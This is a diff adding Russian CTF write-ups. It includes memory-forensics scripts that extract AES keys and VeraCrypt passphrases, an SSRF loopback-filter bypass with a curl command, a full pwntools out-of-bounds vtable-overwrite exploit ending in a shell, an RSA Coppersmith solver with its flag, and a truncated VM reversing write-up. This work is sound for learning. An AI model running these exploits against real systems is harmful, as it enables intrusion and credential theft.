+ nr = 14 + else: + raise ValueError(f"Unsupported Nk={nk}") + return 4 * (nr + 1) + + +def expand_key(words0: Sequence[int], *, nk: int, endian: str) -> List[int]: + tw = total_words_for_nk(nk) + w = list(words0[:nk]) + [0] * (tw - nk) + + if endian == "be": + rot = rot_word_be + sub = sub_word_be + elif endian == "le": + rot = rot_word_le + sub = sub_word_le + else: + raise ValueError("endian must be 'be' or 'le'") + + for i in range(nk, tw): + temp = w[i - 1] + if i % nk == 0: + temp = sub(rot(temp)) ^ rcon_word(i // nk, endian=endian) + elif nk > 6 and i % nk == 4: + temp = sub(temp) + w[i] = w[i - nk] ^ temp + return w + + +def schedule_matches(words: Sequence[int], *, nk: int, endian: str) -> bool: + tw = total_words_for_nk(nk) + if len(words) < tw: + return False + exp = expand_key(words, nk=nk, endian=endian) + return all((words[i] & 0xFFFFFFFF) == exp[i] for i in range(tw)) + + +def iter_files(paths: Iterable[str]) -> Iterator[Path]: + for p in paths: + path = Path(p) + if path.is_dir(): + for child in sorted(path.rglob("*")): + if child.is_file(): + yield child + elif path.is_file(): + yield path + + +@dataclass(frozen=True) +class Hit: + file: Path + offset: int + nk: int + word_endian: str + byte_endian: str + key_bytes: bytes + + +def scan_file(fp: Path, *, nk_list: Sequence[int]) -> List[Hit]: + data = fp.read_bytes() + hits: List[Hit] = [] + + for nk in nk_list: + tw = total_words_for_nk(nk) + nbytes = tw * 4 + if len(data) < nbytes: + continue + + for off in range(0, len(data) - nbytes + 1, 4): + for word_endian in ("little", "big"): + words = [ + int.from_bytes( + data[off + 4 * i : off + 4 * i + 4], byteorder=word_endian + ) + for i in range(tw) + ] + + for byte_endian in ("be", "le"): + if schedule_matches(words, nk=nk, endian=byte_endian): + if byte_endian == "be": + key = b"".join(w.to_bytes(4, "big") for w in words[:nk]) + else: + key = b"".join(w.to_bytes(4, "little") for w in words[:nk]) + hits.append( + Hit( + file=fp, + offset=off, + nk=nk, + word_endian=word_endian, + byte_endian=byte_endian, + key_bytes=key, + ) + ) + + return hits + + +def main() -> int: + ap = argparse.ArgumentParser(description="Find AES key schedules in raw dumps") + ap.add_argument("paths", nargs="+", help="Files and/or directories to scan") + ap.add_argument("--nk", type=int, default=8, help="AES Nk words: 4=128-bit, 6=192-bit, 8=256-bit (default: 8)") + ap.add_argument( + "--also", + type=str, + default="", + help="Comma-separated extra Nk values to scan (e.g. 4,6)", + ) + args = ap.parse_args() + + nk_list = [args.nk] + if args.also: + for part in args.also.split(","): + part = part.strip() + if not part: + continue + nk_list.append(int(part)) + nk_list = sorted(set(nk_list)) + + seen: Set[Tuple[int, str, bytes]] = set() + total = 0 + + for fp in iter_files(args.paths): + if fp.suffix.lower() not in (".dmp", ".bin", ".raw", ".mem", ""): + continue + try: + hits = scan_file(fp, nk_list=nk_list) + except Exception: + continue + for h in hits: + k = (h.nk, h.word_endian, h.byte_endian, h.key_bytes) + if k in seen: + continue + seen.add(k) + total += 1 + print( + f"{h.file}\t0x{h.offset:X}\tNk={h.nk}\tword={h.word_endian}\tbytes={h.byte_endian}\tkey={h.key_bytes.hex()}" + ) + + if total == 0: + print("[!] No AES key schedules found") + return 2 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/HumanAI-Forensic-Hard/scripts/probe_vc_xts.py b/HumanAI-Forensic-Hard/scripts/probe_vc_xts.py new file mode 100644 index 0000000..b97e570 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/probe_vc_xts.py @@ -0,0 +1,99 @@ +import argparse +from pathlib import Path +from typing import Iterable, List, Tuple + +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + + +def decrypt_xts_sector(ct: bytes, xts_key: bytes, sector_no: int) -> bytes: + tweak = int(sector_no).to_bytes(16, "little", signed=False) + cipher = Cipher(algorithms.AES(xts_key), modes.XTS(tweak)) + dec = cipher.decryptor() + return dec.update(ct) + dec.finalize() + + +def looks_like_boot_sector(pt: bytes) -> List[str]: + hits: List[str] = [] + if len(pt) < 512: + return hits + if pt[510:512] == b"\x55\xaa": + hits.append("55aa") + sig = pt[3:11] + if sig == b"NTFS ": + hits.append("NTFS") + if sig == b"EXFAT ": + hits.append("EXFAT") + if sig.startswith(b"FAT"): + hits.append(sig.decode("ascii", errors="ignore")) + if pt[0] in (0xEB, 0xE9) and pt[2] == 0x90: + hits.append("jmp") + return hits + + +def main() -> int: + ap = argparse.ArgumentParser(description="Probe VeraCrypt container using AES-XTS keys") + ap.add_argument("container", type=Path) + ap.add_argument("--key-a", required=True, help="32-byte hex key A") + ap.add_argument("--key-b", required=True, help="32-byte hex key B") + ap.add_argument( + "--offsets", + default="0,0x10000,0x20000", + help="Comma-separated file offsets to try (default: 0,0x10000,0x20000)", + ) + ap.add_argument( + "--tweak-bases", + default="auto", + help="Comma-separated sector numbers to try as tweak base, or 'auto' for 0 and offset/512", + ) + args = ap.parse_args() + + key_a = bytes.fromhex(args.key_a) + key_b = bytes.fromhex(args.key_b) + if len(key_a) != 32 or len(key_b) != 32: + raise SystemExit("Keys must be 32 bytes each (64 hex chars)") + + offsets: List[int] = [] + for part in args.offsets.split(","): + part = part.strip() + if not part: + continue + offsets.append(int(part, 0)) + + data = args.container.read_bytes() + + key_orders: List[Tuple[str, bytes]] = [ + ("A||B", key_a + key_b), + ("B||A", key_b + key_a), + ] + + for off in offsets: + if off + 512 > len(data): + continue + ct = data[off : off + 512] + + if args.tweak_bases.strip().lower() == "auto": + tweak_bases = sorted({0, off // 512}) + else: + tweak_bases = [] + for part in args.tweak_bases.split(","): + part = part.strip() + if not part: + continue + tweak_bases.append(int(part, 0)) + + for base in tweak_bases: + for label, xts_key in key_orders: + pt = decrypt_xts_sector(ct, xts_key, base) + hits = looks_like_boot_sector(pt) + if hits: + print( + f"[+] offset=0x{off:X} tweak={base} order={label} hits={','.join(hits)} sig={pt[3:11]!r}" + ) + print(pt[:64].hex()) + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) + diff --git a/HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py b/HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py new file mode 100644 index 0000000..b84e399 --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py @@ -0,0 +1,101 @@ +import argparse +import os +import struct +from pathlib import Path +from typing import Iterable, Iterator, Tuple + + +def iter_input_files(paths: Iterable[str]) -> Iterator[Path]: + for p in paths: + path = Path(p) + if path.is_dir(): + for child in sorted(path.rglob("*")): + if child.is_file(): + yield child + elif path.is_file(): + yield path + + +def scan_password_structs( + data: bytes, *, min_len: int, max_len: int +) -> Iterator[Tuple[int, int, str]]: + """ + Heuristic scan for the (TrueCrypt/VeraCrypt) Password struct: + uint32 Length; char Text[...]; + + We look for: + 0x00 0x00 0x00 + + This mirrors volatility3's truecrypt passphrase finder which validates the + 3 bytes *after* the presumed NUL terminator but doesn't explicitly check + the terminator byte itself. + """ + mv = memoryview(data) + n = len(data) + min_total = 4 + min_len + 4 + if n < min_total: + return + + + unpack_from = struct.unpack_from + for i in range(0, n - min_total + 1): + (length,) = unpack_from(" max_len: + continue + + start = i + 4 + end = start + length + tail = end + 4 + if tail > n: + continue + + pw = mv[start:end] + + if any((c < 0x20 or c >= 0x7F) for c in pw): + continue + + if data[end + 1 : tail] != b"\x00\x00\x00": + continue + + try: + pw_str = pw.tobytes().decode("ascii") + except UnicodeDecodeError: + continue + + yield i, length, pw_str + + +def main() -> int: + ap = argparse.ArgumentParser() + ap.add_argument("paths", nargs="+", help="Files and/or directories to scan") + ap.add_argument("--min-len", type=int, default=5) + ap.add_argument("--max-len", type=int, default=64) + args = ap.parse_args() + + seen = set() + hits = 0 + for fp in iter_input_files(args.paths): + try: + data = fp.read_bytes() + except Exception as exc: + print(f"[!] Failed to read {fp}: {exc}") + continue + + for off, length, pw in scan_password_structs( + data, min_len=args.min_len, max_len=args.max_len + ): + key = (pw,) + if key in seen: + continue + seen.add(key) + hits += 1 + print(f"{fp}\t0x{off:X}\t{length}\t{pw}") + + if hits == 0: + print("[!] No candidates found") + return 2 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/HumanAI-Forensic-Hard/scripts/veracrypt.py b/HumanAI-Forensic-Hard/scripts/veracrypt.py new file mode 100644 index 0000000..339e86a --- /dev/null +++ b/HumanAI-Forensic-Hard/scripts/veracrypt.py @@ -0,0 +1,185 @@ + +import logging +from typing import Generator, Iterable, List, Tuple + +from volatility3.framework import constants, interfaces, objects, renderers +from volatility3.framework.configuration import requirements +from volatility3.framework.interfaces import configuration +from volatility3.framework.objects.utility import array_to_string +from volatility3.framework.renderers import format_hints +from volatility3.framework.symbols import intermed +from volatility3.framework.symbols.windows.extensions import pe +from volatility3.plugins.windows import modules + +vollog = logging.getLogger(__name__) + + +class Passphrase(interfaces.plugins.PluginInterface): + """VeraCrypt/TrueCrypt cached passphrase finder (driver .data scan).""" + + _version = (0, 1, 0) + _required_framework_version = (2, 5, 2) + + @classmethod + def get_requirements(cls) -> List[configuration.RequirementInterface]: + return [ + requirements.ModuleRequirement( + "kernel", + description="Windows kernel", + architectures=["Intel32", "Intel64"], + ), + requirements.VersionRequirement( + name="modules", component=modules.Modules, version=(3, 0, 0) + ), + requirements.IntRequirement( + name="min-length", + description="Minimum length of passphrases to identify", + default=5, + optional=True, + ), + requirements.StringRequirement( + name="driver", + description=( + "Driver name substring to scan (case-insensitive), " + "e.g. 'veracrypt', 'veracrypt-x64.sys', 'truecrypt.sys'" + ), + default="veracrypt", + optional=True, + ), + ] + + def scan_module( + self, module_base: int, layer_name: str + ) -> Generator[Tuple[int, str], None, None]: + pe_table_name = intermed.IntermediateSymbolTable.create( + self.context, self.config_path, "windows", "pe", class_types=pe.class_types + ) + dos_header: pe.IMAGE_DOS_HEADER = self.context.object( + pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER", + layer_name, + module_base, + ) + + data_section: objects.StructType = next( + sec + for sec in dos_header.get_nt_header().get_sections() + if array_to_string(sec.Name) == ".data" + ) + base: int = data_section.VirtualAddress + module_base + size: int = data_section.Misc.VirtualSize + + # Looking at `Length` in TrueCrypt/Common/Password.h::Password struct + DWORD_SIZE_BYTES: int = 4 + fmt = objects.DataFormatInfo( + length=DWORD_SIZE_BYTES, byteorder="little", signed=True + ) + int32 = objects.templates.ObjectTemplate( + objects.Integer, pe_table_name + constants.BANG + "int", data_format=fmt + ) + count, not_aligned = divmod(size, DWORD_SIZE_BYTES) + if not_aligned: + raise ValueError("PE data section not DWORD-aligned!") + + lengths = self.context.object( + pe_table_name + constants.BANG + "array", + layer_name, + base, + count=count, + subtype=int32, + ) + + min_length = self.config.get("min-length") + for length in lengths: + + if not min_length <= length <= 64: + continue + + offset = length.vol["offset"] + DWORD_SIZE_BYTES + passphrase: objects.Bytes = self.context.object( + pe_table_name + constants.BANG + "bytes", + layer_name, + offset, + length=length, + ) + + + if not all(0x20 <= c < 0x7F for c in passphrase): + continue + + buf: objects.Bytes = self.context.object( + pe_table_name + constants.BANG + "bytes", + layer_name, + offset + length + 1, + length=3, + ) + if any(buf): + continue + + yield offset, passphrase.decode(encoding="ascii") + + def _find_driver_bases( + self, mods: Iterable[interfaces.objects.ObjectInterface] + ) -> List[int]: + driver_substr = (self.config.get("driver") or "").lower().strip() + + def matches(mod_name: str, needle: str) -> bool: + return needle and needle in mod_name + + def bases_for(needle: str) -> List[int]: + out: List[int] = [] + for mod in mods: + try: + name = mod.BaseDllName.get_string().lower() + except Exception: + continue + if matches(name, needle): + out.append(int(mod.DllBase)) + return out + + if driver_substr: + bases = bases_for(driver_substr) + if bases: + return bases + + for needle in ("veracrypt", "truecrypt"): + bases = bases_for(needle) + if bases: + return bases + + return [] + + def _generator(self): + kernel = self.context.modules[self.config["kernel"]] + mods: Iterable[interfaces.objects.ObjectInterface] = modules.Modules.list_modules( + self.context, self.config["kernel"] + ) + + driver_bases = self._find_driver_bases(mods) + if not driver_bases: + vollog.warning( + "No VeraCrypt driver module found in the modules list. Unable to proceed." + ) + return + + seen = set() + for module_base in driver_bases: + try: + for offset, password in self.scan_module(module_base, kernel.layer_name): + key = (offset, password) + if key in seen: + continue + seen.add(key) + yield (0, (format_hints.Hex(offset), len(password), password)) + except Exception as exc: + vollog.debug("Failed scanning module at 0x%x: %s", module_base, exc) + + def run(self) -> renderers.TreeGrid: + return renderers.TreeGrid( + [ + ("Offset", format_hints.Hex), + ("Length", int), + ("Password", str), + ], + self._generator(), + ) + diff --git a/LockholdPortalGuard-Web/README.md b/LockholdPortalGuard-Web/README.md new file mode 100644 index 0000000..822ac99 --- /dev/null +++ b/LockholdPortalGuard-Web/README.md @@ -0,0 +1,24 @@ +# Web 1.2 Страж Портала Локхолда + +В Портале Локхолда стоит Страж: он не пропускает запретные имена, но не знает истинных числовых титулов. Архимаг печатает свитки, и через печать можно заглянуть туда, куда запрещено смотреть. + +## Решение + +Фильтр блокирует строку `127.0.0.1`, но не все эквивалентные формы `loopback`-адреса. Если использовать числовое представление (`2130706433` или `0x7f000001`), проверка обходится, и рендерер открывает тот же локальный адрес. + +Дальше всё стандартно: вставляем URL в `iframe` внутри HTML-свитка, отправляем контент на `/seal` и получаем PDF с содержимым `flag.txt`. + +## Пример + +Вариант через `curl`: +```bash +curl -s -X POST http://localhost:8000/seal \ + -F 'content=

Королевский Указ

' \ + -F 'format=html' \ + -o scroll.pdf +``` + +Также можно воспользоваться готовым скриптом `solve/exploit.py`: +```bash +python solve/exploit.py http://localhost:8000 +``` diff --git a/LockholdPortalGuard-Web/exploit.py b/LockholdPortalGuard-Web/exploit.py new file mode 100644 index 0000000..0907d23 --- /dev/null +++ b/LockholdPortalGuard-Web/exploit.py @@ -0,0 +1,27 @@ +import sys +import requests + + +def main(): + base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000" + payload = """ +

Королевский Указ

+

Приложение: донесение из Локхолда

+ +""".strip() + + resp = requests.post( + f"{base}/seal", + data={"content": payload, "format": "html"}, + timeout=10, + ) + resp.raise_for_status() + + with open("scroll.pdf", "wb") as f: + f.write(resp.content) + + print("saved scroll.pdf") + + +if __name__ == "__main__": + main() diff --git a/OxidePool-PWN/README.md b/OxidePool-PWN/README.md new file mode 100644 index 0000000..d6b09f6 --- /dev/null +++ b/OxidePool-PWN/README.md @@ -0,0 +1,95 @@ +# OxidePool + +НУ ооочень простой протокол обмена сообщениями.... + +## Протокол + +Сетевой протокол little-endian, пакет имеет такой layout: +`op:u8 flags:u8 seq:u16 len:u16 csum:u16` + `payload` + +, где `csum` — сумма всех байтов payload по модулю `2^16`. + +Команды: +- `0x10 HELLO`, payload: empty. + - Ответ: `nonce:u64` + `version:u32`. +- `0x11 AUTH`, payload: `token:u64`, где `token = nonce ^ 0xC0DEC0DEC0DEC0DE`. +- `0x20 ALLOC`, payload: `count:u16` (количество аллокаций в сессии). +- `0x21 FREE`, payload: `idx:u16` (освобождение слота). +- `0x22 SELECT`, payload: `idx:u16` (выбор активного слота). +- `0x30 WRITE`, payload: `offset:u16`, `len:u16`, `data[len]`. + - Работает если выставлен флаг `flags & 1`. +- `0x31 TRIGGER`, payload: empty (запускает handler). +- `0x40 LEAK`, payload: `stage:u8` (`0` или `1`). + +## Идея эксплойта + +Уязвимость в `Session` связана с неверной проверкой границ в `WRITE`: + +- layout структуры: + +```text +[ buf: [u8; 0xFFF0] ][ handler: Box ][ guard: u64 ] +``` + +- проверка границы идёт через `u16`: + +```rust +let end = offset.wrapping_add(data.len() as u16); +if end <= BUF_SIZE as u16 { + ptr::copy(data.as_ptr(), buf.add(offset as usize), data.len()); +} +``` + +Из-за `wrapping_add` и `u16` `end` переполняется, и запись с `offset=0xFFF0`, `len=16` проходит проверку, хотя фактически выходит за `buf`. + +Это даёт OOB overwrite в `handler` (fat pointer: data ptr + vtable ptr) и позволяет переписать `vtable` на адрес из утёкших данных после декодирования. + +ASLR/PIE включены, поэтому нужен leak ключа шифрования для расшифровки указателей. + +## Решение + +1. Сделать `HELLO` + - Отправить `0x10 HELLO`. + - Получить `nonce`. + +2. Аутентифицироваться + - Отправить `0x11 AUTH` с токеном `nonce ^ 0xC0DEC0DEC0DEC0DE`. + - Получить обычный ACK. + +3. Построить/подготовить session (`heap grooming`) + - `ALLOC` на 5 слотов (`count=5`). + - `FREE` одного слота (`idx=1`). + - `SELECT` слота с индексом 0 (`idx=0`). + +4. Вытянуть замаскированные указатели через LEAK + - `LEAK` с `stage=0` -> получаем `masked_data` и `masked_vtable`. + - `LEAK` с `stage=1` -> получаем `key_hint`. + +5. Вычислить XOR-ключ. Например, это можно сделать следующим образом: + ```python + key = key_hint ^ (nonce + 0x9E3779B97F4A7C15) + key = ror(key, 11) + ``` + Где `ror` — циклический сдвиг вправо на 11 бит в 64-битах. + +6. Расшифровать реальные поля: + ```python + data = masked_data ^ key + vtable = masked_vtable ^ key + ``` + Тут `data` указывает на управляемый буфер, `vtable` — легитимный указатель на dispatch таблицу. + +7. Записать OOB-переписыванием fat pointer + - Сформировать payload: + - `offset = 0xFFF0` + - `len = 16` + - `data = p64(data) + p64(vtable)` + - Отправить `0x30 WRITE` с `flags=1`. + + За счёт переполнения `end` запись уходит в область после буфера и перезаписывает указатель обработчика на контролируемые значения. + +8. Вызвать обработчик + - Отправить `0x31 TRIGGER`. + - Должен отработать изменённый callback. + +9. Получить доступ к shell. diff --git a/OxidePool-PWN/solve.py b/OxidePool-PWN/solve.py new file mode 100644 index 0000000..534e46f --- /dev/null +++ b/OxidePool-PWN/solve.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python3 +from pwn import * + +context.binary = None +context.log_level = "info" + +HOST = args.HOST or "127.0.0.1" +PORT = int(args.PORT or 31337) + +BUF_SIZE = 0xFFF0 + + +def checksum(data: bytes) -> int: + return sum(data) & 0xFFFF + + +def pack_pkt(op: int, seq: int, payload: bytes = b"", flags: int = 0) -> bytes: + hdr = p8(op) + p8(flags) + p16(seq) + p16(len(payload)) + p16(checksum(payload)) + return hdr + payload + + +def recv_reply(io): + hdr = io.recvn(8) + op = hdr[0] + seq = u16(hdr[2:4]) + ln = u16(hdr[4:6]) + csum = u16(hdr[6:8]) + payload = io.recvn(ln) + if checksum(payload) != csum: + log.failure("bad checksum") + return op, seq, payload + + +def main(): + io = remote(HOST, PORT) + seq = 1 + + io.send(pack_pkt(0x10, seq)) + _, _, payload = recv_reply(io) + nonce = u64(payload[0:8]) + log.info(f"nonce=0x{nonce:x}") + seq += 1 + + token = nonce ^ 0xC0DEC0DEC0DEC0DE + io.send(pack_pkt(0x11, seq, p64(token))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x20, seq, p16(5))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x21, seq, p16(1))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x22, seq, p16(0))) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x40, seq, b"\x00")) + _, _, payload = recv_reply(io) + masked_data = u64(payload[0:8]) + masked_vtable = u64(payload[8:16]) + seq += 1 + + io.send(pack_pkt(0x40, seq, b"\x01")) + _, _, payload = recv_reply(io) + key_hint = u64(payload[0:8]) + seq += 1 + + key = (key_hint ^ (nonce + 0x9E3779B97F4A7C15)) + key = ((key >> 11) | (key << (64 - 11))) & 0xFFFFFFFFFFFFFFFF + + data = masked_data ^ key + vtable = masked_vtable ^ key + log.info(f"data=0x{data:x} vtable=0x{vtable:x}") + + payload = p16(BUF_SIZE) + p16(16) + p64(data) + p64(vtable) + io.send(pack_pkt(0x30, seq, payload, flags=1)) + recv_reply(io) + seq += 1 + + io.send(pack_pkt(0x31, seq)) + io.interactive() + + +if __name__ == "__main__": + main() diff --git a/README.md b/README.md new file mode 100644 index 0000000..65f0f2c --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# Герои Кодекса + +Райтапы для заданий с Героев Кодекса, проходивших 22.02.2026 \ No newline at end of file diff --git a/RSA-Crypto/README.md b/RSA-Crypto/README.md new file mode 100644 index 0000000..1dc4629 --- /dev/null +++ b/RSA-Crypto/README.md @@ -0,0 +1,62 @@ +# Crypto-RSA + +Слухи в Таверне гласят: кто найдёт Грааль, тот получит бесконечный запас маны и золота. + +Некромант Сандро путешествует по Эрафии в поисках Грааля. Координаты сокровища надёжно зашифрованы могущественным заклинанием RSA. Чтобы снять защиту, нужно знать точное расположение всех Обелисков, которые формируют секретный магический фокус. Сандро успел посетить 6 из 8 Обелисков. Теперь он знает старшие биты магической координаты, но правый нижний угол карты всё ещё скрыт "Туманом войны". Не сумев полностью открыть карту, некромант в ярости бросил зашифрованный свиток и обрывок карты с открытыми Обелисками. + +Разведчики передали эти данные вам. Сможете ли вы рассеять Туман войны, полностью восстановить координату и забрать Грааль до того, как Сандро вернётся с армией скелетов? + +` +N = 10478327092484087119158811738002527881601133392230605359728636777609815579869678283867331428873702230467781035800930319302134425662634483320132982489385831425841142683276245240139807770094242769842712285436324254272792640567220605759816440095519657990655930770697233495280191856795686977028814794477226478424022094334917595550943153970859743416443075466307652568512202801367425261698533904718831085305741122872685782348491901469147144819542733684143982118060593950861934225209591938661726842353411448979388331957984491039941720316208753034352185033359022438790970437880769652134820269624136545195696512412902086547737 +` +` +e = 65537 +` +` +c = 2371908478747310630059898986871876272895367385836679471620653994043895929391935759268461102073140210469448513517093388784915155590867680910861238126882230573331605292181787234136901129322001225804993239553253815115175454153650336400717451897405778509283155936103207023688258230128247475695422393595702338795973073870189334970154365471517517328052432202583617568778188997290909337026276528139911107673782208700833801910261741350704957213863331988920136397794697512939924729956005535011011328130093021943779761037406840279182736278184729352019628495185205816545145747722511667416937357754661788964429902091376671458313 +` +` +p_revealed = 103537519170277717476703855704210234988984256477016725267975201195283786500355490562158033894185780133509016924890164868577876427195910662513213720292660530388165461591925825231155280679347647383014480743406031945282107222824466834575211761120068458069640414044465161781503967875409303695137308078472563785728 +` + + + +## Идея атаки + +Нам даны стандартные параметры RSA: $N$, $e$ и шифротекст $c$. Однако ключевая особенность кроется в значении `p_revealed`. + +Разрядность $N$ - около 2048 бит (617 десятичных знаков). Нам дана часть одного из множителей ($p$). Если известна значительная часть бит одного из множителей (обычно более половины бит фактора), можно восстановить весь фактор методами поиска малых корней многочленов. + +`f(x) = p_revealed + x (mod N)`. + +Поскольку нам известны старшие биты $p$, мы имеем дело с задачей Partial Key Exposure. Согласно теореме Копперсмита, если мы знаем около $1/2$ бит фактора $p$ (для $p \approx \sqrt{N}$ это составляет $1/4$ бит от всего $N$), то можем найти недостающую часть за полиномиальное время. + +### Математическая модель + +Пусть $p = p_{revealed} + x$, где $x$ - неизвестная младшая часть (тот самый "Туман войны"). Ищем корень $x_0$ для полинома: + +$$f(x) = p_{revealed} + x$$ + +по модулю некоторого неизвестного делителя $N$. В среде SageMath метод `small_roots()` позволяет находить такие корни, если выполняется условие $x < N^{0.25}$. В нашем случае $N \approx 2^{2048}$, следовательно, можно восстановить до 512 бит. У нас скрыто 448 бит, что идеально вписывается в границы применимости метода. + +### Алгоритм действий в скрипте + +Определяем кольцо многочленов над $\mathbb{Z}_N$. Задаём полином $f(x) = x + p_{revealed}$. Находим корень $x_0$ через LLL-редукцию (инкапсулировано в `small_roots`). Вычисляем $p = p_{revealed} + x_0$, находим $q = N / p$ и восстанавливаем секретную экспоненту $d$. + +## Готовый solver + +Готовый файл с скриптом решения: `solve.sage`. Он: +- парсит `task.txt`; +- запускает `small_roots` для `f(x)`; +- восстанавливает `p`, `q`, `d`; +- печатает флаг. + +Запустить его можно следующим образом: +```bash +sage writeup/solve.sage public/task.txt +``` + +Таким образом получим флаг: +``` +caplag{N3cr0m4nc3rs_us3_Fr4nkl1n_R31t3r_4tt4ck} +``` diff --git a/RSA-Crypto/solve.sage b/RSA-Crypto/solve.sage new file mode 100644 index 0000000..fde0495 --- /dev/null +++ b/RSA-Crypto/solve.sage @@ -0,0 +1,63 @@ +#!/usr/bin/env sage +# -*- coding: utf-8 -*- + +import re +import sys + + +def parse_task(path): + text = open(path, "r", encoding="utf-8").read() + + def pick(name): + m = re.search(rf"^{name}\s*=\s*([0-9]+)\s*$", text, re.MULTILINE) + if not m: + raise RuntimeError(f"cannot find {name} in {path}") + return Integer(m.group(1)) + + N = pick("N") + e = pick("e") + c = pick("c") + p_revealed = pick("p_revealed") + return N, e, c, p_revealed + + +def main(): + task_path = sys.argv[1] if len(sys.argv) > 1 else "public/task.txt" + N, e, c, p_revealed = parse_task(task_path) + + # From src/chal.py + hidden_bits = 448 + X = 2 ** hidden_bits + + print(f"[*] N bits: {N.nbits()}") + print(f"[*] hidden bits: {hidden_bits}") + print("[*] running Coppersmith small_roots...") + + R = Zmod(N) + P. = PolynomialRing(R) + f = x + p_revealed + + roots = f.small_roots(X=X, beta=0.4) + if not roots: + raise RuntimeError("small_roots found no solution") + + x0 = Integer(roots[0]) + p = Integer(p_revealed + x0) + if N % p != 0: + raise RuntimeError("candidate p does not divide N") + + q = Integer(N // p) + phi = (p - 1) * (q - 1) + d = Integer(inverse_mod(e, phi)) + m = Integer(power_mod(c, d, N)) + m_int = int(m) + flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big") + + try: + print(flag.decode("utf-8")) + except Exception: + print(flag) + + +if __name__ == "__main__": + main() diff --git a/SuiGeneris-Reverse/README.md b/SuiGeneris-Reverse/README.md new file mode 100644 index 0000000..528bc46 --- /dev/null +++ b/SuiGeneris-Reverse/README.md @@ -0,0 +1,163 @@ +# SuiGeneris + +Это не x86. Это не ARM. Это нечто sui generis — единственное в своём роде. + +## Разбор решения + +В начале нам выдается `vm_runner` и `firmware.bin` + +Попытаемся проверить что делает и для чего задействован бинарь: +```bash +file vm_runner +strings -n 5 vm_runner | head -n 20 +./vm_runner +./vm_runner firmware.bin +``` + +Так получим, что, во-первых, это **ELF x86_64**. Также заметим, если не передать никаких аргументов, тогда бинарник напечатает: `usage: %s firmware.bin`. И, наконец, если в качестве аргумента воспользуемся файлов с прошивкой, тогда у нас попросит ввести флаг `Enter flag:` и затем получим ответ `Correct!` или `Wrong.`. + +То есть задача сводится к тому, чтобы понять, как именно раннер валидирует ввод. + +Изучим функцию загрузки прошивки. Для этого обратимся к строкам `bad firmware header` и `failed to load firmware`. Там обнаружим следующие факты: +- сначала читаются 24 байта заголовка; +- проверяются `magic` и `version`; +- потом читаются `code_len` и `data_len` 32-битных слов. + +Общий формат заголовка выглядит следующим образом: + +| Поле | Тип | Назначение | +| --- | --- | --- | +| `magic` | `uint32_t` | Сигнатура прошивки | +| `version` | `uint32_t` | Версия формата | +| `code_len` | `uint32_t` | Длина code-секции (в словах) | +| `data_len` | `uint32_t` | Длина data-секции (в словах) | +| `flag_len` | `uint32_t` | Ожидаемая длина флага | +| `target` | `uint32_t` | Целевой параметр проверки | + +Выполним быструю проверку: +```python +import struct +from pathlib import Path + +b = Path("firmware.bin").read_bytes() +magic, version, code_len, data_len, flag_len, target = struct.unpack("<6I", b[:24]) +print(hex(magic), version, code_len, data_len, flag_len, hex(target)) +print("file_size", len(b)) +print("expected", 24 + 4 * code_len + 4 * data_len) +``` + +В цикле исполнения декод инструкции такой: + +| Поле | Формула извлечения | Биты | +| --- | --- | --- | +| `dst` | `insn & 0xFFF` | `0..11` | +| `src` | `(insn >> 12) & 0xFFF` | `12..23` | +| `guard` | `(insn >> 24) & 0xFF` | `24..31` | + +То есть инструкция кодируется как: + +```text +MOVE: dst | (src << 12) | (guard << 24) +``` + +Логику `guard` удобнее воспринимать как развилку: + +```mermaid +flowchart TD + B{guard == 0xFF?} + B -- Да --> C[Выполнить команду] + B -- Нет --> D{R_guard even} + D -- Да --> E[Пропустить команду] + D -- Нет --> C +``` +> `guard = 0xFF` всегда запускает команду; иначе команда выполняется только при нечётном `R[guard]`. + +Сформируем карту портов. Восстановим её из `read_src`/`write_dst`: + +| Блок | Порты | Назначение | +| --- | --- | --- | +| Registers | `0x00..0x0F` | `R0..R15` | +| ALU | `0x10`, `0x11`, `0x12` | `A`, `B/trigger`, `OUT` | +| MUL | `0x20`, `0x21`, `0x22` | `A`, `B/trigger`, `OUT` | +| ROT | `0x30`, `0x31`, `0x32` | `A`, `S/trigger`, `OUT` | +| PRNG | `0x40`, `0x41`, `0x42` | `seed`, `step/trigger`, `OUT` | +| HASH | `0x60`, `0x61`, `0x62` | `A`, `B/trigger`, `OUT` | +| INPUT | `0x51` | Чтение байтов введенного флага | +| CONST | `0x90` | Чтение 32-битных слов из `data[]` | +| OUTPUT | `0x52` | Буфер выхода VM | + +Теперь попытаемся определить, что делают блоки `ALU/MUL/ROT/HASH/PRNG`. Семантика из `write_dst`: +```c +alu(a,b) = a + b +mul(a,b) = a + b +rot(a,s) = rol(a, s) +hash(a,b) = a + b + 0x9E3779B9 +prng(x,t) = xorshift32(x ^ t) +``` +чтение `*_OUT` просто возвращает последнее значение. Никакой блокировки чтения по `ready` тут нет + +После выполнения VM в `main` идет финальная проверка: + +- считается `output_base = 3 + 3 * flag_len`; +- проверяется, что длина `data[]` достаточна; +- сравниваются `vm.output_buf` и хвост `data[]`; +- дополнительно сравнивается `R15` с отдельным словом `target2`. + +Из этого получается такой `layout`: + +| Смещение в `data[]` | Содержимое | +| --- | --- | +| `0` | `seed` для `R14` | +| `1` | `seed` для `R15` | +| `2` | `seed` для `PRNG` | +| `3..(3 + 3*flag_len - 1)` | Константы `c_mul`, `c_rot`, `c_tw` | +| далее `flag_len` слов | `expected_output` | +| последнее слово | `target2` (целевое значение `R15`) | + +Если декодировать блок кода VM, он повторяется для каждого байта ввода. +Псевдокод получается такой: + +```text +R14 = seed_r14 +R15 = seed_r15 +PRNG = seed_prng +MUL_OUT = 0 + +for i in 0..n-1: + byte = input[i] + + stale_mul = 